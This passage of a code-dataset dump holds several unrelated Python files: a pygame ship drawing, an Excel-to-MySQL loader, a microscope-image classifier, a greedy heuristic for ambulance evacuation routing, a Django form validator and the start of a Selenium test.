back\n circle(screen, (153, 51, 0), (x + r, y - r), r)\n rect(screen, (0, 0, 255), (x, y - 2 * r, 2 * r, r))\n rect(screen, (0, 0, 255), (x + r, y - r, r, r))\n w = 100 * k #Width of corpus\n rect(screen, (153, 51, 00), (x + r, y - r, w, r))\n line(screen, (0, 0, 0), (x + r, y - r), (x + r, y))\n a = 60 * k #Lenth of corma\n polygon(screen, brown, [(x + r + w, y - r), (x + r + w + a, y - r), (x + r + w, y), (x + r + w, y - r)])\n line(screen, (0, 0, 0), (x + r + w, y - r), (x + r + w, y))\n h = 90 * k #Heith of stick\n ws = 8 * k #Width of stick\n rect(screen, (0, 0, 0), (x + r + w * 0.5, y - r - h, ws, h))\n b = 60 * k #Width of parus\n xp = x + r + w * 0.5 + ws # x coordinate of left upper corner of parus\n polygon(screen, (200, 200, 200),\n [(xp, y - r - h), (xp + b, y - r - h / 2), (xp, y - r), (xp + b * 0.3, y - r - h / 2), (xp, y - r - h)])\n line(screen, (0, 0, 0), (xp + 0.3 * b, y - r - h / 2), (xp + b, y - r - h / 2))\n circle(screen, (0, 0, 0), (x + r + w + 0.5 * r, y - r * 0.55), r * 0.35)\n circle(screen, (255, 255, 255), (x + r + w + 0.5 * r, y - r * 0.55), r * 0.2)\n return None\nship(200, 250, 1)\n\npygame.display.update()\nclock = pygame.time.Clock()\nfinished = False\n\nwhile not finished:\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n finished = True","sub_path":"lab3/Boevoe.py","file_name":"Boevoe.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"213580621","text":"import pymysql\r\nimport xlrd\r\n\r\n\r\n\r\n\r\ndef create():\r\n # 1.连接数据库\r\n\r\n con = pymysql.connect(host=\"localhost\", user=\"root\", password=\"root\", database=\"sell\")\r\n\r\n # 2.创建控制台\r\n cursor = con.cursor()\r\n\r\n # 3.准备一条sql语句\r\n #4.执行sql\r\n\r\n wb = xlrd.open_workbook(filename=r\"E:\\python自动化测试\\Python作业\\python11\\day07[xlrd excel表格读写]\\任务\\2020年每个月的销售情况.xlsx\")\r\n\r\n sheets = wb.sheet_names()\r\n print(sheets)\r\n\r\n param1=[]\r\n # 操作选项卡\r\n\r\n for i in sheets:\r\n list1 = []\r\n sheet = wb.sheet_by_name(i)\r\n rows = sheet.nrows\r\n sql=\"create table `%s` (日期 varchar(10),服装名称 varchar(10),`价格/件` varchar (10),本月库存数量 varchar(20) ,销售量 varchar (10));\"\r\n param=[i]\r\n cursor.execute(sql,param)\r\n con.commit()\r\n\r\n for j in range(1, rows):\r\n list1 = sheet.row_values(j)\r\n list1.insert(0,i)\r\n sql1=\"insert into `%s` values(%s,%s,%s,%s,%s);\"\r\n # 4.执行sql\r\n cursor.execute(sql1,list1)\r\n con.commit()\r\n del list1\r\n # 5.提交数据,真正提交到数据库\r\n # con.commit()\r\n # 6.关闭资源\r\n cursor.close()\r\n con.close()\r\n\r\n\r\n#调用函数\r\ncreate()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"day08/任务2.py","file_name":"任务2.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"89097484","text":"import os\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\r\nfrom tensorflow.keras.models import load_model\r\nimport numpy as np\r\nfrom tensorflow.keras.preprocessing.image import img_to_array\r\nimport pickle\r\nimport cv2\r\nfrom interval import Interval\r\n\r\n'''实现目标:\r\n①在原图中找到符合要求的金银纳米探针夹心结构、金纳米探针和极少数带有红色特征的杂质\r\n②并将其批量导入到训练过的模型中判断\r\n③读取预测结果为bind的图片的坐标信息\r\n④将步骤③中的坐标信息在原图中画圆,并将夹心结构导出到制定文件夹'''\r\n\r\n\r\ndef extract(dark_image_path,low_array,up_array): # nparray形式 np.array([156, 43,46]) ///// np.array([180, 255, 255])\r\n #定义常量\r\n roi_list = [] #储存每个图片的坐标信息\r\n singleimg_list = []\r\n\r\n#主体部分\r\n kernel = np.ones((5, 5), np.uint8)\r\n image = cv2.imread(dark_image_path)\r\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n red_mask = cv2.inRange(hsv, low_array, up_array)\r\n red = cv2.bitwise_and(image,image, mask=red_mask)\r\n im_in = cv2.cvtColor(red, cv2.COLOR_BGR2GRAY)\r\n ret, im_th = cv2.threshold(im_in, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\r\n im_out = cv2.dilate(im_th, kernel, iterations=5)\r\n a, b, c, d = cv2.connectedComponentsWithStats(im_out, connectivity=8, ltype=cv2.CV_32S)\r\n for t in range(1, a, 1):\r\n #输出c[(1,2,3,4),(2,3,4,5).......]\r\n #C包含坐标信息,a是联通组件的编号,由于connectedComponentsWithStats统计里全图的联通组件,所以需要循环遍历\r\n x, y, w, h, area = c[t]\r\n roi_list.append((x, y, w, h))\r\n for i in range(len(roi_list)):\r\n x = roi_list[i][0]\r\n y = roi_list[i][1]\r\n w = roi_list[i][2]\r\n h = roi_list[i][3]\r\n a_cor = (x, y, w)\r\n b_cor = (h, 0, 0)\r\n roi = image[y+1:y+h, x+1:x+w]\r\n roi = roi.astype(np.float32)\r\n #HSV且64*64后的矩阵\r\n roi_mid = np.insert(cv2.resize(roi,(20,20)),0,a_cor,axis=0)\r\n roi_hsv_new = np.insert(roi_mid,0,b_cor,axis=0) # 带有坐标的每个小图\r\n singleimg_list.append(roi_hsv_new)\r\n #输出结果是64*64带坐标的矩阵\r\n return singleimg_list\r\n\r\nmodel = load_model('E:/cmy/CNN/pokedex.model')\r\nlb = pickle.loads(open('E:/cmy/CNN/LB.pickle', \"rb\").read())\r\n\r\ndef pop_H(image, low, up):\r\n count = 0\r\n mask = Interval(low, up)\r\n b = image[:,:,0]\r\n a = b.flatten()\r\n for j in a:\r\n if j in mask:\r\n count = count + 1\r\n return count\r\n\r\n##模型判别\r\ndef load_modellabel(singleimg_list):\r\n count = 0\r\n list888 = []\r\n for k in range(len(singleimg_list)):\r\n input_img = np.delete(singleimg_list[k],[0,1],axis=0)\r\n image1 = cv2.resize(input_img, (20, 20))\r\n image = image1.astype(\"float\") / 255.0\r\n image2 = img_to_array(image)\r\n image3 = np.expand_dims(image2, axis=0)\r\n proba = model.predict(image3)[0] # (输入测试数据,输出预测结果)\r\n idx = np.argmax(proba) ##返回一个numpy数组中最大值的索引值\r\n label = lb.classes_[idx] # 分类结果label标签\r\n\r\n if label == 'bind' and pop_H(image,160,180) > 50:\r\n count = count + 1\r\n\r\n x1 = singleimg_list[k][1][0][0]\r\n y1 = singleimg_list[k][1][0][1]\r\n w1 = singleimg_list[k][1][0][2]\r\n h1 = singleimg_list[k][0][0][0]\r\n list888.append((x1,y1,w1,h1))\r\n\r\n return list888\r\n\r\nppp = extract('E:/4.tif',np.array([156, 43,46]),np.array([180, 255, 255]))\r\npppp = load_modellabel(ppp)\r\nimg = cv2.imread('E:/4.tif')\r\n\r\n\r\n############################ count\r\nlist_cor = []\r\nfor m in range(len(pppp)):\r\n x = pppp[m][0]\r\n y = pppp[m][1]\r\n w = pppp[m][2]\r\n h = pppp[m][3]\r\n q = cv2.rectangle(img,(x,y),(x+w, y+h),(0, 255, 0), 1, 8, 0)\r\n list_cor.append(x)\r\n print(len(list_cor))\r\n cv2.imwrite('lll.png',q,[int(cv2.IMWRITE_JPEG_QUALITY), 95])\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"code 1.0/Main/提取判别模型.py","file_name":"提取判别模型.py","file_ext":"py","file_size_in_byte":4014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49501643","text":"import csv\nimport pandas as pd\nimport time\nimport os\n\nclass GreedyHeuristic():\n\n def __init__(self):\n self.solution_list = []\n self.show_status = 0\n\n def get_sender_routes(self, strategy, df_routes, sender, dict_sender_type, dict_receiver_type, df_capacity):\n df = df_routes[(df_routes['sender'] == sender)]\n series_capacity = df_capacity.groupby(df_capacity['receiver'])['receiverCapacity'].sum()\n\n if strategy == 0:\n df1 = df\n pass\n elif strategy == 1:\n sender_type = dict_sender_type[sender]\n list_receiver_same_type = [key for key, value in dict_receiver_type.items() if value == sender_type]\n df1 = df[df['receiver'].isin(list_receiver_same_type)]\n elif strategy == 2:\n sender_type = dict_sender_type[sender]\n if sender_type == 'HOSPITAL':\n list_receiver_same_type = [key for key, value in dict_receiver_type.items() if value == 'HOSPITAL']\n df1 = df[df['receiver'].isin(list_receiver_same_type)]\n elif sender_type == 'NH':\n df1 = df\n\n df1['capacity'] = df1['receiver'].map(series_capacity)\n df1['weight1'] = df1['c_1'] / df1['capacity']\n df1['weight2'] = df1['c_1'] / (df1['capacity'] ** 2)\n\n df1.reset_index(drop=True)\n return df1\n\n def check_ambus_transportation(self, dict_vehicleCap, num_ambus, num_demand):\n dict_solutions = {}\n for key, val in dict_vehicleCap.items():\n if key != 'v00':\n sol = int(num_demand / val)\n remainder = num_demand - (val * sol)\n dict_solutions[key] = [sol, remainder]\n\n list_sols = [dict_solutions[key][0] for key in dict_solutions.keys()]\n list_remainders = [dict_solutions[key][1] for key in dict_solutions.keys()]\n\n # demand cannot be transported by ambus\n if max(list_sols) == 0:\n dict_solution_output = {'vehicleType': 'v00',\n 'value': max(list_remainders),\n 'RemainingAmbus': num_ambus,\n 'remainder': 0}\n\n return dict_solution_output\n\n # number of remaining ambus = 0\n if num_ambus == 0:\n dict_solution_output = {'vehicleType': 'v00',\n 'value': num_demand,\n 'RemainingAmbus': num_ambus,\n 'remainder': 0}\n\n # number of remaining ambus != 0\n else:\n max_divider = 0\n max_solution = 0\n\n for key, val in dict_solutions.items():\n if (val[0] != 0) & (dict_vehicleCap[key] >= max_divider):\n max_divider_key = key\n max_divider = dict_vehicleCap[key]\n max_solution = val[0]\n\n if num_ambus >= max_solution:\n remaining_ambus = num_ambus - max_solution\n else:\n max_solution = num_ambus\n remaining_ambus = 0\n\n remainder = num_demand - max_divider * max_solution\n dict_solution_output = {'vehicleType': max_divider_key,\n 'value': max_solution,\n 'RemainingAmbus': remaining_ambus,\n 'remainder': remainder}\n\n return dict_solution_output\n\n def assign_receiver_n(self,\n df_route_by_sender,\n num_demand,\n input_scenario,\n df_capacity,\n dict_vehicleCap,\n num_ambus,\n input_sort_column):\n\n patient_type = 'n'\n sort_column = input_sort_column\n\n if self.show_status == 1:\n print('INPUT DEMAND TO ASSIGN: %s, %s' % (num_demand, patient_type))\n\n while num_demand != 0:\n vehicle_sol = self.check_ambus_transportation(dict_vehicleCap, num_ambus, num_demand)\n input_df_route_sender = df_route_by_sender[df_route_by_sender['vehicleType'] == vehicle_sol['vehicleType']]\n input_df_route_sender = input_df_route_sender.sort_values(by=sort_column)\n input_df_route_sender.reset_index(drop=True)\n\n num_vehicle_used = vehicle_sol['value']\n demand_to_remove = dict_vehicleCap[vehicle_sol['vehicleType']] * num_vehicle_used\n\n for index, row in input_df_route_sender.iterrows():\n this_staging, this_vehicle_type, this_sender, this_receiver = row['stagingArea1'], row['vehicleType'], row['sender'], row['receiver']\n try:\n this_capacity = df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type)]['receiverCapacity'].values[0]\n except IndexError:\n continue\n\n if vehicle_sol['vehicleType'] == 'v00':\n\n demand_assigned = min(this_capacity, demand_to_remove)\n\n # update capacity\n df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type), 'receiverCapacity'] = this_capacity - demand_assigned\n sol_string = [this_staging, this_sender, this_receiver, this_staging, this_vehicle_type, patient_type, input_scenario, demand_assigned]\n self.solution_list.append(sol_string)\n num_demand = num_demand - demand_assigned\n demand_to_remove = num_demand\n\n if self.show_status == 1:\n print('AMBULANCE | SINGLE TRIP | demand assigned %s | demand remaining %s' % (demand_assigned, num_demand))\n\n if num_demand == 0:\n break\n\n else:\n if this_capacity >= demand_to_remove:\n\n # define demand assigned and vehicles used\n demand_assigned = demand_to_remove\n ambus_used = int(demand_to_remove / dict_vehicleCap[vehicle_sol['vehicleType']])\n\n # write solution\n sol_string = [this_staging, this_sender, this_receiver, this_staging, this_vehicle_type, patient_type, input_scenario, ambus_used]\n self.solution_list.append(sol_string)\n\n # update capacity\n remaining_capacity = this_capacity - demand_assigned\n df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type), 'receiverCapacity'] = remaining_capacity\n\n # update demand\n num_demand = num_demand - demand_assigned\n\n # update vehicles\n num_ambus = num_ambus - ambus_used\n\n if self.show_status == 1:\n print('AMBUS | SINGLE TRIP (ENOUGH CAP) | demand assigned %s | demand remaining %s' % (demand_assigned, num_demand))\n\n break\n\n else:\n\n for i in range(vehicle_sol['value']):\n this_lot = dict_vehicleCap[vehicle_sol['vehicleType']] * (i + 1)\n\n if this_capacity < this_lot:\n this_ambus_used = i\n demand_by_ambus = dict_vehicleCap[vehicle_sol['vehicleType']] * i\n break\n\n # define demand assigned and vehicles used\n demand_assigned = demand_by_ambus\n ambus_used = this_ambus_used\n\n # write solution\n sol_string = [this_staging, this_sender, this_receiver, this_staging, this_vehicle_type, patient_type, input_scenario, ambus_used]\n self.solution_list.append(sol_string)\n\n # update capacity\n remaining_capacity = this_capacity - demand_assigned\n df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type), 'receiverCapacity'] = remaining_capacity\n\n # update demand\n num_demand = num_demand - demand_assigned\n demand_to_remove = demand_to_remove - demand_assigned\n\n # update vehicles\n num_ambus = num_ambus - ambus_used\n\n if self.show_status == 1:\n print('AMBUS | SINGLE TRIP (SMALL CAP) | demand assigned %s | demand remaining %s' % (demand_assigned, num_demand))\n\n return [df_capacity, num_ambus]\n\n def assign_receiver_c(self,\n df_route_by_sender,\n num_demand,\n input_scenario,\n df_capacity,\n dict_vehicleCap,\n num_ambus,\n input_sort_column):\n\n patient_type = 'c'\n sort_column = input_sort_column\n\n input_df_route_sender = df_route_by_sender[df_route_by_sender['vehicleType'] == 'v00']\n input_df_route_sender = input_df_route_sender.sort_values(by=sort_column)\n input_df_route_sender.reset_index(drop=True)\n\n if self.show_status == 1:\n print('INPUT DEMAND TO ASSIGN: %s, %s' % (num_demand, patient_type))\n\n for index, row in input_df_route_sender.iterrows():\n\n # determine capacity vs demand\n this_staging, this_vehicle_type, this_sender, this_receiver = row['stagingArea1'], row['vehicleType'], row['sender'], row['receiver']\n\n # update capacity\n try:\n this_capacity = df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type)]['receiverCapacity'].values[0]\n except IndexError:\n continue\n demand_to_assign = min(this_capacity, num_demand)\n df_capacity.loc[(df_capacity['receiver'] == this_receiver) & (df_capacity['patientType'] == patient_type), 'receiverCapacity'] = this_capacity - demand_to_assign\n\n # update demand\n num_demand = num_demand - demand_to_assign\n\n # update solution list\n sol_string = [this_staging, this_sender, this_receiver, this_staging, this_vehicle_type, patient_type, input_scenario, demand_to_assign]\n self.solution_list.append(sol_string)\n\n if self.show_status == 1:\n print('AMBULANCE | SINGLE TRIP | demand assigned %s | demand remaining %s' % (demand_to_assign, num_demand))\n\n if num_demand == 0:\n break\n\n return [df_capacity, num_ambus]\n\n def get_vehicles_used(self, input_df_solution, input_list_scenarios, dict_vehicleCap):\n # Calculate vehicles used per scenario\n list_vehicles = list(dict_vehicleCap.keys())\n list_solutions = [input_df_solution]\n\n dict_vehicles_used = {}\n\n for s in input_list_scenarios:\n\n dict_vehicles_scenario = {}\n for vehicle in list_vehicles:\n num_v = 0\n\n for df in list_solutions:\n df1 = df[(df['scenario'] == s) & (df['vehicleType'] == vehicle)]\n num_v = num_v + sum(df1['value'])\n\n dict_vehicles_scenario[vehicle] = num_v\n\n dict_vehicles_used[s] = dict_vehicles_scenario\n\n # Calculate max vehicles used\n max_vehicles = {}\n\n for vehicle in list_vehicles:\n max_vehicle = 0\n\n for s, inner_dict in dict_vehicles_used.items():\n current_max = inner_dict[vehicle]\n\n if current_max > max_vehicle:\n max_vehicle = current_max\n\n else:\n continue\n\n max_vehicles[vehicle] = max_vehicle\n\n return max_vehicles\n\n def get_objective_value(self, input_df_solution, input_staging_area, input_max_vehicles):\n # fixed_cost\n file = 'input_openingCost.tab'\n df_fixed_cost = pd.read_csv(self.path + file, delimiter='\\t')\n dict_fixed_cost = dict(zip(df_fixed_cost['stagingArea'], df_fixed_cost['openingCost']))\n\n # resource_cost\n file = 'input_c_v.tab'\n df_resource_cost = pd.read_csv(self.path + file, delimiter='\\t')\n dict_resource_cost = dict(zip(df_resource_cost['vehicleType'], df_resource_cost['c_v']))\n resource_cost = 0\n for key, value in dict_resource_cost.items():\n temp_resource_cost = value * input_max_vehicles[key]\n resource_cost = resource_cost + temp_resource_cost\n\n # operation_cost\n file = 'input_c1.tab'\n df_routes = pd.read_csv(self.path + file, delimiter='\\t')\n df_routes = df_routes[df_routes['stagingArea1'].isin(input_staging_area)]\n list_keys = ['stagingArea1', 'sender', 'receiver', 'vehicleType']\n df_routes['key'] = list(zip(df_routes[list_keys[0]], df_routes[list_keys[1]], df_routes[list_keys[2]], df_routes[list_keys[3]]))\n dict_route_cost = dict(zip(df_routes['key'], df_routes['c_1']))\n\n file = 'input_probability.tab'\n df_probability = pd.read_csv(self.path + file, delimiter='\\t')\n dict_probability = dict(zip(df_probability['scenario'], df_probability['probability']))\n\n list_scenarios = list(input_df_solution['scenario'].unique())\n operating_cost = 0\n for s in list_scenarios:\n dff = input_df_solution.loc[input_df_solution['scenario'] == s]\n\n scenario_sum = 0\n dff['key'] = list(zip(dff['staging'], dff['sender'], dff['receiver'], dff['vehicleType']))\n dict_dff_solution = dict(zip(dff['key'], dff['value']))\n\n for key, value in dict_dff_solution.items():\n scenario_sum = scenario_sum + value * dict_route_cost[key]\n\n operating_cost = operating_cost + dict_probability[s] * scenario_sum\n\n # Find total objective value\n fixed_cost = sum(list(dict_fixed_cost[i] for i in input_staging_area))\n\n objective_value = fixed_cost + resource_cost + operating_cost\n # print(fixed_cost, '\\t', resource_cost, '\\t', operating_cost, '\\t', objective_value)\n\n return objective_value\n\n def sanity_check(self, input_df_solution):\n\n # input_df_solution columns : ['staging', 'sender', 'receiver', 'staging1', 'vehicleType', 'patientType', 'scenario', 'value']\n file = 'input_ambulanceCapacity.tab'\n df_vehicleCapacity = pd.read_csv(self.path + file, delimiter='\\t')\n dict_vehicleCap = dict(zip(df_vehicleCapacity['ambulanceType'], df_vehicleCapacity['capacity']))\n\n # DEMANDS\n file = 'input_demand_vs.tab'\n df_demand = pd.read_csv(self.path + file, delimiter='\\t')\n df_demand = df_demand[df_demand['demand'] != 0]\n list_scenarios = list(df_demand['scenario'].unique())\n list_scenarios.sort()\n list_patient_type = ['n', 'c']\n\n error_indicator = 0\n for s in list_scenarios:\n for p in list_patient_type:\n sum_demand = sum(df_demand.loc[(df_demand['scenario'] == s) & (df_demand['patientType'] == p)]['demand'])\n dff = input_df_solution.loc[(input_df_solution['scenario'] == s) & (input_df_solution['patientType'] == p)]\n sum_solution = sum(dff['vehicleType'].map(dict_vehicleCap) * dff['value'])\n # sum_solution = sum(input_df_solution.loc[(input_df_solution['scenario'] == s) & (input_df_solution['patientType'] == p)]['value'])\n\n if sum_demand != sum_solution:\n print(\"Error in \", s, p, \"sum_demand, sum_solution: \", sum_demand, sum_solution)\n error_indicator = 1\n if error_indicator == 0:\n print(\"NO ERROR IN SOLUTION\")\n\n def get_max_flooded_location(self):\n\n file = 'scenario_lookup.tab'\n df = pd.read_csv(self.path + file, delimiter='\\t')\n list_s = list(df['scenario'].unique())\n\n dict_flooded = {}\n max_num = 0\n for s in list_s:\n df0 = df[df['scenario'] == s]\n dict_flooded[s] = list(df0['sender'])\n if len(df0) > max_num:\n max_num = len(df0)\n output_max_scenario = s\n\n return [dict_flooded, output_max_scenario]\n\n def get_staging_areas(self, input_dict_flooded, input_max_scenario, input_staging_area, input_num_staging_areas):\n # GET MINIMUM SUM OF DISTANCES FROM THE SCENARIO\n file = 'input_c_ijv.tab'\n df_distance = pd.read_csv(self.path + file, delimiter='\\t')\n\n list_staging = list(df_distance['stagingArea'].unique())\n num_staging_areas = input_num_staging_areas\n\n dict_stagingArea_distance = {}\n vehicle = 'v00'\n for i in list_staging:\n df0 = df_distance[df_distance['stagingArea'] == i]\n summation = 0\n\n for j in input_dict_flooded[input_max_scenario]:\n summation = summation + df0[(df0['sender'] == j) & (df0['vehicleType'] == vehicle)]['c_ijv'].values[0]\n\n dict_stagingArea_distance[i] = summation\n\n sorted_stagingArea_distance = {k: v for k, v in sorted(dict_stagingArea_distance.items(), key=lambda item: item[1])}\n print(sorted_stagingArea_distance)\n staging_area = list(sorted_stagingArea_distance.keys())[0:num_staging_areas]\n\n # override staging_area location if there's input staging area\n if len(input_staging_area) != 0:\n output_staging_area = input_staging_area\n else:\n output_staging_area = staging_area\n\n print(\"\")\n print(\"STAGING AREA: \", output_staging_area)\n print(\"\")\n\n return output_staging_area\n\n def get_solution(self, input_parent_directory, input_directory, input_staging_area, input_strategy, column_to_sort, number_staging_areas):\n # ----------------------------------------------\n # STEP 0: Initialize input\n # ----------------------------------------------\n strategy = input_strategy\n path = '%s%s/input/' % (input_parent_directory, input_directory)\n self.path = path\n\n # ----------------------------------------------\n # STEP 1: Get scenario with max number of flooded locations\n # ----------------------------------------------\n output = self.get_max_flooded_location()\n dict_flooded = output[0]\n max_scenario = output[1]\n\n # ----------------------------------------------\n # STEP 2: Get staging area from the max_scenario\n # ----------------------------------------------\n list_staging_area = self.get_staging_areas(dict_flooded, max_scenario, input_staging_area, number_staging_areas)\n\n # ----------------------------------------------\n # STEP 3: Initialize input data\n # ----------------------------------------------\n time_enumeration_start = time.time()\n\n # AMBUS CAPACITY\n file = 'input_ambulanceCapacity.tab'\n df_vehicleCapacity = pd.read_csv(path + file, delimiter='\\t')\n dict_vehicleCap = dict(zip(df_vehicleCapacity['ambulanceType'], df_vehicleCapacity['capacity']))\n\n # ROUTES(PATHS) WITH STAGING AREA FOUND\n file = 'input_c1.tab'\n df_routes = pd.read_csv(path + file, delimiter='\\t')\n df_routes = df_routes[df_routes['stagingArea1'].isin(list_staging_area)]\n\n # DEMANDS\n file = 'input_demand_vs.tab'\n df_demand = pd.read_csv(path + file, delimiter='\\t')\n df_demand = df_demand[df_demand['demand'] != 0]\n list_scenarios = list(df_demand['scenario'].unique())\n list_scenarios.sort()\n\n # SENDER/RECEIVER TYPES\n file = 'df_sender.csv'\n df_sender = pd.read_csv(path + file)\n dict_sender_type = dict(zip(df_sender['code'], df_sender['type']))\n\n file = 'df_receiver.csv'\n df_receiver = pd.read_csv(path + file)\n dict_receiver_type = dict(zip(df_receiver['code'], df_receiver['type']))\n\n # ----------------------------------------------\n # STEP 4: START THE ALGORITHM\n # ----------------------------------------------\n print(\"START ALGORITHM\")\n print(\"\")\n count_scenario = 0\n\n for s in list_scenarios:\n time_scenario_start = time.time()\n print('SCENARIO: ', s)\n count_scenario = count_scenario + 1\n\n # # Save status to external file\n # a_file = open('/Users/kyoung/Box Sync/github/dash/pelo/data/' + \"run_status.csv\", \"w\")\n # writer = csv.writer(a_file)\n # writer.writerow(['status', count_scenario])\n # a_file.close()\n\n # INITIALIZE PARAMETERS\n # PARAMETER 1 : RECEIVER CAPACITY\n file = 'input_receiverCapacity.tab'\n df_capacity = pd.read_csv(path + file, delimiter='\\t')\n\n # PARAMETER 2: AMBUS CAPACITY\n file = 'input_ambusMax.tab'\n with open(path + file, newline='') as input_file:\n game_reader = csv.reader(input_file, delimiter='\\t')\n for line in game_reader:\n num_ambus = int(line[0])\n\n df_demand_s = df_demand[df_demand['scenario'] == s]\n list_senders = list(df_demand_s['sender'].unique())\n\n # ORDER SENDERS BY DEMAND\n dict_senders = {}\n for q in list_senders:\n dict_senders[q] = sum(df_demand_s[df_demand_s['sender'] == q]['demand'].values)\n\n dict_senders_ordered = {k: v for k, v in sorted(dict_senders.items(), key=lambda item: item[1], reverse=True)}\n list_senders_ordered = list(dict_senders_ordered.keys())\n\n for j in list_senders_ordered:\n\n if self.show_status == 1:\n print(j)\n\n df_route_by_sender = self.get_sender_routes(strategy, df_routes, j, dict_sender_type, dict_receiver_type, df_capacity)\n df_demand_sj = df_demand_s[df_demand_s['sender'] == j]\n list_patient_type_sender = list(df_demand_sj['patientType'])\n\n for p in list_patient_type_sender:\n if p == 'c':\n check_num_demand = df_demand_sj[df_demand_sj['patientType'] == p]['demand'].values[0]\n output = self.assign_receiver_c(df_route_by_sender, check_num_demand, s, df_capacity, dict_vehicleCap, num_ambus, column_to_sort)\n df_capacity = output[0]\n df_capacity = df_capacity.loc[df_capacity['receiverCapacity'] != 0]\n num_ambus = output[1]\n\n else:\n check_num_demand = df_demand_sj[df_demand_sj['patientType'] == p]['demand'].values[0]\n output = self.assign_receiver_n(df_route_by_sender, check_num_demand, s, df_capacity, dict_vehicleCap, num_ambus, column_to_sort)\n df_capacity = output[0]\n df_capacity = df_capacity.loc[df_capacity['receiverCapacity'] != 0]\n num_ambus = output[1]\n\n time_scenario_end = time.time()\n print(\" SCENARIO TIME: \", time_scenario_end - time_scenario_start)\n\n time_enumeration_end = time.time()\n print(\"ENUMERATION TIME: \", time_enumeration_end - time_enumeration_start)\n\n # ----------------------------------------------\n # STEP 5: SAVE AND OUTPUT SOLUTION\n # ----------------------------------------------\n cols = ['staging', 'sender', 'receiver', 'staging1', 'vehicleType', 'patientType', 'scenario', 'value']\n df_solution = pd.DataFrame(self.solution_list, columns=cols)\n df_solution = df_solution.loc[df_solution['value'] != 0]\n\n # Output location\n output_path = '%s%s/output/' % (input_parent_directory, input_directory)\n output_file_name = 'df_result.csv'\n\n # Create a output directory\n try:\n os.mkdir(output_path)\n except OSError as error:\n print(error)\n\n # Save output\n df_solution.to_csv(output_path + output_file_name)\n print(\"Result is saved at %s%s\" % (output_path, output_file_name))\n\n dict_max_vehicles = self.get_vehicles_used(df_solution, list_scenarios, dict_vehicleCap)\n obj_value = self.get_objective_value(df_solution, list_staging_area, dict_max_vehicles)\n print('OBJECTIVE VALUE %s' % obj_value)\n\n # return df_solution\n print('Run completed')\n return dict_max_vehicles, df_solution, obj_value\n\n\nif __name__ == '__main__':\n\n time_heuristic_start = time.time()\n a = GreedyHeuristic()\n path = '/Users/kyoung/Box Sync/github/pelo_run/pelo_tests/'\n directory = 'test_default_ambusMax16_Iter[0]_Trip[single]_Opt[1]_AmbusCR[0]_Sender[all]_AmbusMin[20]_shelter[0]_g[1]'\n # path = '/Users/kyoung/Box Sync/github/dash/pelo/data/'\n # directory = 'case1'\n\n # path = '/Users/kyoung/Box Sync/github/pelo_run/'\n # directory = 'test_100_senders_v2_Iter[1]_Trip[double]_Opt[1]_AmbusCR[0]_Sender[all]_AmbusMin[20]_shelter[0]_g[1]'\n\n list_stg_areas = []\n routing_strategy = 1\n sort_column_type = 'weight1'\n input_staging_areas = 1\n\n print(directory)\n print(\"INPUT STAGING AREAS %s, STRATEGY %s, SORT BY %s\" % (list_stg_areas, routing_strategy, sort_column_type))\n b = a.get_solution(path, directory, list_stg_areas, routing_strategy, sort_column_type, input_staging_areas)\n time_heuristic_end = time.time()\n a.sanity_check(b[1])\n print(\"ALGORITHM TIME: \", time_heuristic_end - time_heuristic_start)\n","sub_path":"greedy_single.py","file_name":"greedy_single.py","file_ext":"py","file_size_in_byte":25954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"648348544","text":"# -*- coding: utf-8 -*-\n\"\"\"\n-------------------------------------------------\n File Name: forms\n Description : \n Author : gongyan\n Date: 2019/5/8\n Change Activity: 2019/5/8 10:37\n-------------------------------------------------\n\"\"\"\nfrom django import forms\nfrom operations.models import UserAsk\nimport re\n\n# class UserAskForm(forms.Form):\n# name = forms.CharField(required=True, min_length=2, max_length=20)\n# phone = forms.CharField(required=True, min_length=11, max_length=11)\n# course_name = forms.CharField(required=True, max_length=5, min_length=5)\n\n\n# 此处可以使用modelform来验证,代替了上面的form验证!\nclass UserAskForm(forms.ModelForm):\n class Meta:\n model = UserAsk\n fields = ['name', 'mobile', 'course_name']\n\n def clean_mobile(self):\n \"\"\"\n 验证手机号码是否合法\n :return:\n \"\"\"\n mobile = self.cleaned_data['mobile']\n REGEX_MOBILE = \"^1[358]\\d{9}$|^147\\d{8}|^176\\d{8}$\"\n p = re.compile(REGEX_MOBILE)\n if p.match(mobile):\n return mobile\n else:\n raise forms.ValidationError(u'手机号码非法',code='mobile_invalidation')\n\n","sub_path":"gongfei/month03/django项目/mxproject/apps/organization/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280438295","text":"from selenium.webdriver.common.keys import Keys\nfrom selenium import webdriver\nimport unittest\n\nHOME_URL = 'http://localhost:8000'\n\n\nclass NewVisitorTest(unittest.TestCase):\n \n def setUp(self):\n chromedriver = './chromedriver'\n self.browser = webdriver.Chrome(chromedriver)\n self.browser.implicitly_wait(10)\n \n def tearDown(self):\n self.browser.quit()\n \n def test_can_start_a_list_and_retrieve_it_later(self):\n self.browser.get(HOME_URL)\n self.assertIn('Pozdrawiam', self.browser.title)\n header_text = self.browser.find_element_by_tag_name('h1').text\n self.assertIn('lista', header_text)\n inputbox = 